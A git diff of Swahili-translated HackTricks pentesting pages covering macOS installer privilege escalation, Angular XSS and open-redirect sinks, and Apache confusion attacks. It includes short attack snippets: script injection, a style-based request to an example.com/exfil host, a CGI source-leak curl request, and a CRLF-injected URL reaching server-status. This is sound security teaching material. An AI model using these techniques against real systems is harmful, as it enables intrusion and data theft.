'{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` @@ -237,7 +237,7 @@ macos-memory-dumping.md ## Risk Category Files Mac OS -Direktori `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` ndiko ambapo taarifa kuhusu **hatari inayohusiana na nyongeza tofauti za faili inahifadhiwa**. Direktori hii inagawanya faili katika viwango mbalimbali vya hatari, ikishawishi jinsi Safari inavyoshughulikia faili hizi wakati wa kupakua. Kategoria ni kama ifuatavyo: +Direktori `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` ndiyo mahali ambapo taarifa kuhusu **hatari inayohusiana na nyongeza tofauti za faili inahifadhiwa**. Direktori hii inagawanya faili katika viwango mbalimbali vya hatari, ikishawishi jinsi Safari inavyoshughulikia faili hizi wakati wa kupakua. Kategoria ni kama ifuatavyo: - **LSRiskCategorySafe**: Faili katika kategoria hii zinachukuliwa kuwa **salama kabisa**. Safari itafungua faili hizi moja kwa moja baada ya kupakuliwa. - **LSRiskCategoryNeutral**: Faili hizi hazina onyo lolote na **hazifunguliwi moja kwa moja** na Safari. @@ -251,7 +251,7 @@ Direktori `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Syst - **`/private/var/log/asl/*.asl`**: Hizi ni Apple System Logs ambazo zinaweza kuwa na taarifa za kuvutia. - **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Inahifadhi faili na programu zilizofikiwa hivi karibuni kupitia "Finder". - **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Inahifadhi vitu vya kuzindua wakati wa kuanzisha mfumo. -- **`$HOME/Library/Logs/DiskUtility.log`**: Faili ya kumbukumbu ya programu ya DiskUtility (taarifa kuhusu diski, ikiwa ni pamoja na USB). +- **`$HOME/Library/Logs/DiskUtility.log`**: Faili ya kumbukumbu kwa App ya DiskUtility (taarifa kuhusu diski, ikiwa ni pamoja na USB). - **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Taarifa kuhusu maeneo ya upatikanaji wa wireless. - **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Orodha ya daemons zilizozimwa. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 253fb13ae..990e17acb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -6,7 +6,7 @@ Kifurushi cha **installer** cha macOS (pia kinachojulikana kama faili `.pkg`) ni muundo wa faili unaotumiwa na macOS ku **distribute software**. Faili hizi ni kama **sanduku linaloshikilia kila kitu ambacho kipande cha software** kinahitaji ili kufunga na kufanya kazi ipasavyo. -Faili la kifurushi lenyewe ni archive inayoshikilia **hifadhi ya faili na directories ambazo zitawekwa kwenye kompyuta ya lengo**. Inaweza pia kujumuisha **scripts** za kutekeleza kazi kabla na baada ya ufungaji, kama vile kuandaa faili za usanidi au kusafisha toleo za zamani za software. +Faili la kifurushi lenyewe ni archive inayoshikilia **hifadhi ya faili na directories ambazo zitawekwa kwenye kompyuta ya lengo**. Pia linaweza kujumuisha **scripts** za kutekeleza kazi kabla na baada ya ufungaji, kama vile kuandaa faili za usanidi au kusafisha toleo za zamani za software. ### Hierarchy @@ -32,14 +32,14 @@ xar -xf "/path/to/package.pkg" cat Scripts | gzip -dc | cpio -i cpio -i < Scripts ``` -Ili kuona maudhui ya installer bila kuyakandamiza kwa mikono, unaweza pia kutumia zana ya bure [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/). +Ili kuona maudhui ya mfunguo bila kuyakandamiza kwa mikono, unaweza pia kutumia zana ya bure [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/). ## Taarifa za Msingi za DMG Faili za DMG, au Picha za Disk za Apple, ni muundo wa faili unaotumiwa na macOS ya Apple kwa picha za diski. Faili ya DMG kimsingi ni **picha ya diski inayoweza kuunganishwa** (ina mfumo wake wa faili) ambayo ina data ya block mbichi ambayo mara nyingi imepandishwa na wakati mwingine imefungwa. Unapofungua faili ya DMG, macOS **inaunganisha kama vile ilikuwa diski halisi**, ikikuruhusu kufikia maudhui yake. > [!CAUTION] -> Kumbuka kwamba **`.dmg`** installers zinasaidia **format nyingi sana** kwamba katika siku za nyuma baadhi yao zikiwa na udhaifu zilikuwa zikitumiwa kupata **utendaji wa msimbo wa kernel**. +> Kumbuka kwamba **`.dmg`** waunganishaji wanaunga mkono **format nyingi sana** kwamba katika siku za nyuma baadhi yao walikuwa na udhaifu na kutumiwa kupata **utendaji wa msimbo wa kernel**. ### Hifadhi @@ -49,7 +49,7 @@ Hifadhi ya faili ya DMG inaweza kuwa tofauti kulingana na maudhui. Hata hivyo, k - Kiwango cha Juu: Hii ni mzizi wa picha ya diski. Mara nyingi ina programu na labda kiungo kwa folda ya Maombi. - Programu (.app): Hii ni programu halisi. Katika macOS, programu kawaida ni kifurushi kinachojumuisha faili na folda nyingi zinazounda programu hiyo. -- Kiungo cha Maombi: Hii ni njia fupi kwa folda ya Maombi katika macOS. Kusudi la hii ni kukurahisishia kufunga programu. Unaweza kuvuta faili ya .app kwenye njia fupi hii ili kufunga programu. +- Kiungo cha Maombi: Hii ni njia fupi kwa folda ya Maombi katika macOS. Kusudi la hii ni kurahisisha wewe kufunga programu. Unaweza kuvuta faili ya .app kwenye njia fupi hii ili kufunga programu. ## Privesc kupitia matumizi ya pkg @@ -61,7 +61,7 @@ Ikiwa skripti ya kabla au baada ya ufungaji inatekelezwa kutoka **`/var/tmp/Inst ### AuthorizationExecuteWithPrivileges -Hii ni [kazi ya umma](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) ambayo waunganishaji na wasasishaji wengi wataita ili **kutekeleza kitu kama root**. Kazi hii inakubali **njia** ya **faili** ya **kutekeleza** kama parameter, hata hivyo, ikiwa mshambuliaji anaweza **kubadilisha** faili hii, ataweza **kutumia** utekelezaji wake na root ili **kupandisha mamlaka**. +Hii ni [kazi ya umma](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) ambayo waunganishaji na wasasishaji kadhaa wataita ili **kutekeleza kitu kama root**. Kazi hii inakubali **njia** ya **faili** ya **kutekeleza** kama parameter, hata hivyo, ikiwa mshambuliaji anaweza **kubadilisha** faili hii, ataweza **kutumia** utekelezaji wake na root ili **kupandisha mamlaka**. ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges @@ -71,7 +71,7 @@ Kwa maelezo zaidi angalia hii hotuba: [https://www.youtube.com/watch?v=lTOItyjTT ### Utekelezaji kwa kupandisha -Ikiwa mfunguo unandika kwenye `/tmp/fixedname/bla/bla`, inawezekana **kuunda mount** juu ya `/tmp/fixedname` bila wamiliki ili uweze **kubadilisha faili yoyote wakati wa ufungaji** ili kutumia mchakato wa ufungaji. +Ikiwa mfunguo wa programu unaandika kwenye `/tmp/fixedname/bla/bla`, inawezekana **kuunda mount** juu ya `/tmp/fixedname` bila wamiliki ili uweze **kubadilisha faili yoyote wakati wa usakinishaji** ili kutumia mchakato wa usakinishaji. Mfano wa hili ni **CVE-2021-26089** ambayo ilifanikiwa **kufuta script ya kawaida** ili kupata utekelezaji kama root. Kwa maelezo zaidi angalia hotuba: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) @@ -79,15 +79,15 @@ Mfano wa hili ni **CVE-2021-26089** ambayo ilifanikiwa **kufuta script ya kawaid ### Payload Tupu -Inawezekana tu kuzalisha faili **`.pkg`** yenye **pre and post-install scripts** bila payload halisi isipokuwa malware ndani ya scripts. +Inawezekana tu kuzalisha faili **`.pkg`** yenye **scripts za kabla na baada ya usakinishaji** bila payload halisi isipokuwa malware ndani ya scripts. -### JS katika distribution xml +### JS katika xml ya Usambazaji -Inawezekana kuongeza **`

test

"; ``` Matokeo: `<script>alert(1)</script><h1>test</h1>` -2. Ufunguo kwa mali, sifa, darasa na mitindo au `[attribute]="user_input"` - inatekeleza kusafisha kulingana na muktadha wa usalama uliotolewa. +2. Ufunguo kwa mali, sifa, darasa na mitindo au `[attribute]="user_input"` - inatekeleza usafi kulingana na muktadha wa usalama uliotolewa. ```jsx //app.component.ts @@ -123,7 +123,7 @@ Kuna aina 6 za `SecurityContext` : ### Kupita Njia za Uaminifu wa Usalama -Angular inintroduce orodha ya mbinu za kupita mchakato wake wa kusafisha wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano ifuatayo mitano: +Angular inintroduce orodha ya mbinu za kupita mchakato wake wa usafi wa chaguo-msingi na kuashiria kwamba thamani inaweza kutumika kwa usalama katika muktadha maalum, kama katika mifano ifuatayo mitano: 1. `bypassSecurityTrustUrl` inatumika kuashiria kwamba thamani iliyotolewa ni URL salama ya mtindo: @@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("

html tag

html tag blah ``` -4. `bypassSecurityTrustScript` inatumika kuashiria kwamba thamani iliyotolewa ni JavaScript salama. Hata hivyo, tumegundua tabia yake kuwa isiyo ya kawaida, kwa sababu hatungeweza kutekeleza msimbo wa JS katika kiolezo kwa kutumia mbinu hii. +4. `bypassSecurityTrustScript` inatumika kuashiria kwamba thamani iliyotolewa ni JavaScript salama. Hata hivyo, tumegundua tabia yake kuwa isiyo na uhakika, kwa sababu hatungeweza kutekeleza msimbo wa JS katika kiolezo kwa kutumia mbinu hii. ```jsx //app.component.ts @@ -187,11 +187,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u Request URL: GET example.com/exfil/a ``` -Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliopewa na inasafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data maalum na muktadha. Kwa mfano, kutumia sanitizer na `SecurityContext.URL` kwenye maudhui ya HTML hakutoa ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS. +Angular inatoa mbinu ya `sanitize` kusafisha data kabla ya kuonyesha katika maoni. Mbinu hii inatumia muktadha wa usalama uliotolewa na inasafisha pembejeo ipasavyo. Hata hivyo, ni muhimu kutumia muktadha sahihi wa usalama kwa data na muktadha maalum. Kwa mfano, kutumia msafishaji na `SecurityContext.URL` kwenye maudhui ya HTML hakutoa ulinzi dhidi ya thamani hatari za HTML. Katika hali kama hizo, matumizi mabaya ya muktadha wa usalama yanaweza kusababisha udhaifu wa XSS. ### Kuingiza HTML -Udhaifu huu hutokea wakati pembejeo ya mtumiaji inafungwa kwenye mojawapo ya mali tatu: `innerHTML`, `outerHTML`, au `iframe` `srcdoc`. Wakati wa kufunga kwenye sifa hizi inatafsiri HTML kama ilivyo, pembejeo inasafishwa kwa kutumia `SecurityContext.HTML`. Hivyo, kuingiza HTML kunawezekana, lakini uandishi wa msalaba (XSS) hauwezekani. +Udhaifu huu hutokea wakati pembejeo ya mtumiaji inafungwa kwa mojawapo ya mali tatu: `innerHTML`, `outerHTML`, au `iframe` `srcdoc`. Wakati wa kufunga kwenye sifa hizi inatafsiri HTML kama ilivyo, pembejeo inasafishwa kwa kutumia `SecurityContext.HTML`. Hivyo, kuingiza HTML kunawezekana, lakini uandishi wa msalaba (XSS) hauwezekani. Mfano wa kutumia `innerHTML`: ```jsx @@ -231,17 +231,17 @@ Kama ilivyoonyeshwa hapo juu: `constructor` inahusisha upeo wa mali ya Object `c #### Uwasilishaji wa Kwanza wa Seva (SSR) -Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo sawa ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia ile ile kama katika CSR, kwa sababu lugha ya templeti inayotumika ni ile ile. +Tofauti na CSR, ambayo inatokea katika DOM ya kivinjari, Angular Universal inawajibika kwa SSR ya faili za templeti. Faili hizi kisha zinawasilishwa kwa mtumiaji. Licha ya tofauti hii, Angular Universal inatumia mitambo sawa ya kusafisha inayotumika katika CSR ili kuboresha usalama wa SSR. Uwezo wa kuingiza templeti katika SSR unaweza kugundulika kwa njia sawa na katika CSR, kwa sababu lugha ya templeti inayotumika ni sawa. Kwa kweli, pia kuna uwezekano wa kuanzisha udhaifu mpya wa kuingiza templeti wakati wa kutumia injini za templeti za upande wa tatu kama Pug na Handlebars. ### XSS -#### Interfaces za DOM +#### Mifumo ya DOM -Kama ilivyosemwa hapo awali, tunaweza kufikia moja kwa moja DOM kwa kutumia interface ya _Document_. Ikiwa ingizo la mtumiaji halijathibitishwa kabla, linaweza kusababisha udhaifu wa kuandika kwenye tovuti tofauti (XSS). +Kama ilivyosemwa hapo awali, tunaweza kufikia moja kwa moja DOM kwa kutumia interface ya _Document_. Ikiwa ingizo la mtumiaji halijathibitishwa kabla, linaweza kusababisha udhaifu wa kuandika msimbo wa wavuti (XSS). -Tulitumia mbinu za `document.write()` na `document.createElement()` katika mifano hapa chini: +Tulitumia mbinu za `document.write()` na `document.createElement()` katika mifano iliyo hapa chini: ```jsx //app.component.ts 1 import { Component} from '@angular/core'; @@ -292,9 +292,9 @@ document.body.appendChild(a); ``` #### Madarasa ya Angular -Kuna baadhi ya madarasa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanatolewa katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa tabaka la ufanisi kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika. +Kuna baadhi ya madarasa ambayo yanaweza kutumika kufanya kazi na vipengele vya DOM katika Angular: `ElementRef`, `Renderer2`, `Location` na `Document`. Maelezo ya kina ya madarasa mawili ya mwisho yanatolewa katika sehemu ya **Open redirects**. Tofauti kuu kati ya ya kwanza ni kwamba API ya `Renderer2` inatoa tabaka la ufafanuzi kati ya kipengele cha DOM na msimbo wa kipengele, wakati `ElementRef` inashikilia tu rejeleo kwa kipengele. Hivyo, kulingana na nyaraka za Angular, API ya `ElementRef` inapaswa kutumika tu kama njia ya mwisho wakati ufikiaji wa moja kwa moja wa DOM unahitajika. -* `ElementRef` ina mali ya `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini: +* `ElementRef` ina mali `nativeElement`, ambayo inaweza kutumika kubadilisha vipengele vya DOM. Hata hivyo, matumizi yasiyo sahihi ya `nativeElement` yanaweza kusababisha udhaifu wa XSS injection, kama inavyoonyeshwa hapa chini: ```tsx //app.component.ts @@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s); } } ``` -* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele vya asili haukubaliwi, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS. +* Ingawa `Renderer2` inatoa API ambayo inaweza kutumika kwa usalama hata wakati ufikiaji wa moja kwa moja wa vipengele asilia haukubaliki, bado ina mapungufu fulani ya usalama. Kwa `Renderer2`, inawezekana kuweka sifa kwenye kipengele cha HTML kwa kutumia njia ya `setAttribute()`, ambayo haina mitambo ya kuzuia XSS. ```tsx //app.component.ts @@ -446,11 +446,11 @@ $palias.append(html); #### Interfaces za DOM -Kulingana na nyaraka za W3C, vitu vya `window.location` na `document.location` vinachukuliwa kama majina ya kubadilishana katika vivinjari vya kisasa. Ndio maana wana utekelezaji sawa wa baadhi ya mbinu na mali, ambayo inaweza kusababisha kuhamasisha wazi na XSS ya DOM kwa mashambulizi ya `javascript://` kama ilivyoelezwa hapa chini. +Kulingana na nyaraka za W3C, vitu vya `window.location` na `document.location` vinachukuliwa kama majina sawa katika vivinjari vya kisasa. Ndio maana wana utekelezaji sawa wa baadhi ya mbinu na mali, ambayo inaweza kusababisha uelekeo wazi na XSS ya DOM kwa mashambulizi ya `javascript://` kama ilivyoelezwa hapa chini. * `window.location.href`(na `document.location.href`) -Njia ya kawaida ya kupata kipengele cha sasa cha DOM ni kutumia `window.location`. Inaweza pia kutumika kuhamasisha kivinjari kwenda kwenye ukurasa mpya. Kama matokeo, kuwa na udhibiti juu ya kipengele hiki kunatuwezesha kutumia udhaifu wa kuhamasisha wazi. +Njia ya kawaida ya kupata kipengele cha sasa cha DOM ni kutumia `window.location`. Inaweza pia kutumika kuhamasisha kivinjari kwenda kwenye ukurasa mpya. Kama matokeo, kuwa na udhibiti juu ya kipengele hiki kunatuwezesha kutumia udhaifu wa uelekeo wazi. ```tsx //app.component.ts @@ -468,7 +468,7 @@ window.location.href = "https://google.com/about" Mchakato wa kutumia udhaifu ni sawa kwa hali zifuatazo. * `window.location.assign()`(na `document.location.assign()`) -Mbinu hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya mbinu hii, inaweza kuwa mahali pa shambulio la kuhamasisha wazi. +Mbinu hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya mbinu hii, inaweza kuwa njia ya shambulio la uelekeo wazi. ```tsx //app.component.ts @@ -483,7 +483,7 @@ window.location.assign("https://google.com/about") Mbinu hii inachukua rasilimali ya sasa na kuibadilisha na ile iliyoko kwenye URL iliyotolewa. -Hii inatofautiana na mbinu ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, inawezekana pia kutumia udhaifu wa kuhamasisha wazi tunapokuwa na udhibiti juu ya mbinu hii. +Hii inatofautiana na mbinu ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa uelekeo wazi tunapokuwa na udhibiti juu ya mbinu hii. ```tsx //app.component.ts @@ -496,7 +496,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -Mbinu ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tabo mpya au iliyopo. Kuwa na udhibiti juu ya mbinu hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au kuhamasisha wazi. +Mbinu ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tab au dirisha jipya au lililopo. Kuwa na udhibiti juu ya mbinu hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au uelekeo wazi. ```tsx //app.component.ts @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Madarasa ya Angular -* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM ili kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa mahali pa shambulio la kuhamasisha wazi kama inavyoonyeshwa katika mfano: +* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa njia za shambulio za mafanikio ya uelekeo wazi kama inavyoonyeshwa katika mfano: ```tsx //app.component.ts @@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa kuhamasisha wazi, lakini hatukuweza kupata njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa kuhamasisha kwenye kikoa cha nje. Kwa mfano: +* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa uelekeo wazi, lakini hatukuweza kupata njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa uelekeo wa kikoa cha nje. Kwa mfano: ```tsx //app.component.ts diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 1a449a061..00e72b81f 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Upanuzi wa PHP unaoweza kutekelezwa +## Extensions za PHP zinazoweza kutekelezwa -Angalia ni upanuzi gani unaotekeleza seva ya Apache. Ili kuwapata unaweza kutekeleza: +Angalia ni extensions gani zinazoendesha seva ya Apache. Ili kuzitafuta unaweza kutekeleza: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` @@ -23,7 +23,7 @@ Linux ``` ## Confusion Attack -Aina hizi za mashambulizi zimeanzishwa na kuandikwa [**na Orange katika chapisho hili la blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) na yafuatayo ni muhtasari. Shambulizi la "confusion" kimsingi linatumia jinsi moduli kumi zinazofanya kazi pamoja kuunda Apache hazifanyi kazi kwa usahihi na kufanya baadhi yao kubadilisha data zisizotarajiwa kunaweza kusababisha udhaifu katika moduli inayofuata. +Aina hizi za mashambulizi zimeanzishwa na kuandikwa [**na Orange katika chapisho hili la blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) na yafuatayo ni muhtasari. Shambulizi la "confusion" kimsingi linatumia jinsi moduli kumi zinazofanya kazi pamoja kuunda Apache hazifanyi kazi kwa usawa na kufanya baadhi yao kubadilisha data zisizotarajiwa kunaweza kusababisha udhaifu katika moduli inayofuata. ### Filename Confusion @@ -79,13 +79,13 @@ Hii ni kwa sababu kwa default PHP-FPM itapokea URLs zinazomalizika na `.php`, ka DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -A fun fact about Apache ni kwamba uandishi wa awali utajaribu kufikia faili kutoka kwa documentRoot na kutoka root. Hivyo, ombi la `https://server/abouth.html` litakagua faili katika `/var/www/html/about.html` na `/about.html` katika mfumo wa faili. Ambayo kimsingi inaweza kutumika vibaya kufikia faili katika mfumo wa faili. +A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. #### **Server-Side Source Code Disclosure** - **Disclose CGI Source Code** -Kuongeza tu %3F mwishoni inatosha kufichua msimbo wa chanzo wa moduli ya cgi: +Just adding a %3F at the end is enough to leak the source code of a cgi module: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -131,7 +131,7 @@ Kwa hivyo, itakuwa inawezekana **kudhulumu faili zilizoko ndani ya `/usr/share` **Gadget ya Mitaa kwa XSS** -- Kwenye Ubuntu Desktop yenye **LibreOffice imewekwa**, kudhulumu kipengele cha kubadilisha lugha za faili za msaada kunaweza kusababisha **Cross-Site Scripting (XSS)**. Kudhibiti URL kwenye **/usr/share/libreoffice/help/help.html** kunaweza kuelekeza kwenye kurasa za uhalifu au toleo za zamani kupitia **unsafe RewriteRule**. +- Kwenye Ubuntu Desktop yenye **LibreOffice imewekwa**, kudhulumu kipengele cha kubadilisha lugha za faili za msaada kunaweza kusababisha **Cross-Site Scripting (XSS)**. Kubadilisha URL kwenye **/usr/share/libreoffice/help/help.html** kunaweza kuelekeza kwenye kurasa za uhalifu au toleo la zamani kupitia **unsafe RewriteRule**. **Gadget ya Mitaa kwa LFI** @@ -162,26 +162,26 @@ Zaidi ya hayo, kudhulumu symlinks ilikuwa inawezekana kupata **RCE katika Redmin ### Handler Confusion -Shambulio hili linatumia mchanganyiko wa kazi kati ya `AddHandler` na `AddType` directives, ambazo zote zinaweza kutumika **kuwezesha usindikaji wa PHP**. Awali, hizi directives zilihusisha maeneo tofauti (`r->handler` na `r->content_type` mtawalia) katika muundo wa ndani wa seva. Hata hivyo, kutokana na msimbo wa urithi, Apache inashughulikia hizi directives kwa kubadilishana chini ya hali fulani, ikigeuza `r->content_type` kuwa `r->handler` ikiwa ya kwanza imewekwa na ya pili haijawa. +Shambulio hili linatumia mchanganyiko wa kazi kati ya `AddHandler` na `AddType` directives, ambazo zote zinaweza kutumika **kuwezesha usindikaji wa PHP**. Awali, directives hizi zilihusisha maeneo tofauti (`r->handler` na `r->content_type` mtawalia) katika muundo wa ndani wa seva. Hata hivyo, kutokana na msimbo wa urithi, Apache inashughulikia directives hizi kwa kubadilishana chini ya hali fulani, ikigeuza `r->content_type` kuwa `r->handler` ikiwa ya kwanza imewekwa na ya pili haijawa. Zaidi ya hayo, katika Apache HTTP Server (`server/config.c#L420`), ikiwa `r->handler` iko tupu kabla ya kutekeleza `ap_run_handler()`, seva **inatumia `r->content_type` kama handler**, kwa ufanisi ikifanya `AddType` na `AddHandler` kuwa sawa katika athari. #### **Overwrite Handler ili Kufichua Msimbo wa PHP** -Katika [**hii mazungumzo**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), ilionyeshwa udhaifu ambapo `Content-Length` isiyo sahihi iliyotumwa na mteja inaweza kusababisha Apache kurudisha **msimbo wa PHP** kwa makosa. Hii ilikuwa kwa sababu ya tatizo la usimamizi wa makosa na ModSecurity na Apache Portable Runtime (APR), ambapo jibu mara mbili linaweza kusababisha kuandika upya `r->content_type` kuwa `text/html`.\ +Katika [**hii hotuba**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), ilionyeshwa udhaifu ambapo `Content-Length` isiyo sahihi iliyotumwa na mteja inaweza kusababisha Apache kurudisha **msimbo wa PHP** kwa makosa. Hii ilikuwa kwa sababu ya tatizo la kushughulikia makosa na ModSecurity na Apache Portable Runtime (APR), ambapo jibu mara mbili linaweza kusababisha kuandika upya `r->content_type` kuwa `text/html`.\ Kwa sababu ModSecurity haiwezi kushughulikia vizuri thamani za kurudi, itarudisha msimbo wa PHP na haitautafsiri. #### **Overwrite Handler kwa XXXX** -TODO: Orange haijafichua udhaifu huu bado +TODO: Orange hajafichua udhaifu huu bado ### **Kuitisha Handlers za Kiholela** -Ikiwa mshambuliaji anaweza kudhibiti **`Content-Type`** header katika jibu la seva atakuwa na uwezo wa **kuitisha handlers za moduli za kiholela**. Hata hivyo, wakati mshambuliaji anadhibiti hii, mchakato mwingi wa ombi utakuwa umekamilika. Hata hivyo, inawezekana **kuanzisha upya mchakato wa ombi kwa kudhulumu `Location` header** kwa sababu ikiwa **r**eturned `Status` ni 200 na `Location` header inaanza na `/`, jibu linachukuliwa kama Uelekeo wa Server-Side na linapaswa kushughulikiwa. +Ikiwa mshambuliaji anaweza kudhibiti **`Content-Type`** header katika jibu la seva atakuwa na uwezo wa **kuitisha handlers za moduli za kiholela**. Hata hivyo, kwa hatua ambayo mshambuliaji anadhibiti hii, mchakato mwingi wa ombi utakuwa umekamilika. Hata hivyo, inawezekana **kuanzisha upya mchakato wa ombi kwa kudhulumu `Location` header** kwa sababu ikiwa **r**eturned `Status` ni 200 na `Location` header inaanza na `/`, jibu linachukuliwa kama Uelekeo wa Seva na linapaswa kushughulikiwa. Kulingana na [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification kuhusu CGI) katika [Sehemu 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) inafafanua tabia ya Jibu la Uelekeo wa Mitaa: -> Skripti ya CGI inaweza kurudisha njia ya URI na mfuatano wa swali (‘local-pathquery’) kwa rasilimali ya ndani katika uwanja wa header wa Location. Hii inaashiria kwa seva kwamba inapaswa kushughulikia upya ombi kwa kutumia njia iliyotajwa. +> Skripti ya CGI inaweza kurudisha njia ya URI na mfuatano wa swali (‘local-pathquery’) kwa rasilimali ya ndani katika uwanja wa header wa Location. Hii inaashiria kwa seva kwamba inapaswa kuendelea kushughulikia ombi kwa kutumia njia iliyotajwa. Kwa hivyo, ili kutekeleza shambulio hili inahitajika moja ya udhaifu ufuatao: @@ -197,7 +197,7 @@ SetHandler server-status Require local ``` -Inawezekana kuipata kwa kuweka `Content-Type` kuwa `server-status` na kichwa cha Location kinachoanzia na `/` +Inawezekana kuipata kwa kuweka `Content-Type` kuwa `server-status` na kichwa cha Location kinachoanza na `/` ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a @@ -217,16 +217,16 @@ http://example.com/%3F ``` Hata hivyo, kichwa cha `X-Forwarded-For` kinajumuishwa kuzuia ufikiaji wa mwisho wa metadata ya wingu. -#### 